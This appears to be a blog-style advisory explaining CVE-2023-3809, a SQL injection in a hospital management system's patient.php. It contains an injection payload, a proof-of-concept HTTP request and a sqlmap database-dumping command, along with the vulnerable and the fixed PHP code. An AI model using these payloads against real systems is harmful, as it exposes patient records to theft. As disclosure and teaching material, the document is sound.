If you use the Hospital Management System 1., recently identified as vulnerable, you need to read this. A severe security flaw—CVE-2023-3809—affects an unknown part of the patient.php file, and it can let attackers take full control of your database remotely. Here’s what you need to know, in plain simple language.

What is CVE-2023-3809?

CVE-2023-3809 is a critical SQL Injection vulnerability found in Hospital Management System 1.. The flaw lies in how the system handles the address field when processing requests in patient.php. Since this web application is often used by medical clinics or hospitals to manage patient info and records, this is a big deal.

Vulnerability Database ID: VDB-235077

Why is it dangerous?

By exploiting this bug, a remote attacker can run their own SQL code on your medical database. They could steal private data, delete everything, or even create an admin account for themselves—without logging in.

Exploit Details

This vulnerability happens because the code does not sanitize user-provided data before using it in an SQL query. That lets an attacker insert (“inject”) malicious SQL statements.

Code Example (Vulnerable Code - patient.php)

<?php
// Quick example of vulnerable code in patient.php

$address = $_POST['address'];
$sql = "SELECT * FROM patients WHERE address = '$address'";
$result = mysqli_query($conn, $sql);
// ...
?>

*Notice:* The value from $_POST['address'] goes straight into the SQL without safety checks.

What an attacker can do:

Suppose an attacker sends this as their address field

' OR 1=1;--

The query will then look like

SELECT * FROM patients WHERE address = '' OR 1=1;--'

This will return all patient records or might allow them to chain further attacks.

Here’s how a proof-of-concept (PoC) HTTP request might look

POST /hospital/patient.php HTTP/1.1
Host: vulnerable-hospital.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

address=' OR 1=1;--&otherparameters=values

Result: The attacker can access all patient data.

A tool like sqlmap can automatically find and exploit this issue

sqlmap -u "http://vulnerable-hospital.com/patient.php"; --data="address=test" --dbs

With no protection in place, sqlmap will quickly dump your database.

Fixed Code Example

<?php
// Safe version using prepared statements

$address = $_POST['address'];
$stmt = $conn->prepare("SELECT * FROM patients WHERE address = ?");
$stmt->bind_param("s", $address);
$stmt->execute();
$result = $stmt->get_result();
// ...
?>

Your code should never directly put unsanitized user input into SQL.

- Vulnerability DB - VDB-235077 (vuldb.com)
- Official CVE Record - CVE-2023-3809 (cve.org)
- Hospital Management System Project (source)
- OWASP SQL Injection Guide
- sqlmap Official Site

Conclusion

CVE-2023-3809 is a critical bug. If you run Hospital Management System 1., your patient data is at risk. Update and patch immediately, and review your code for unsafe SQL queries. Share this with your IT team or web developer.

Stay safe!
*Security is everyone’s responsibility.*

Timeline

Published on: 07/21/2023 04:15:00 UTC
Last modified on: 07/26/2023 21:19:00 UTC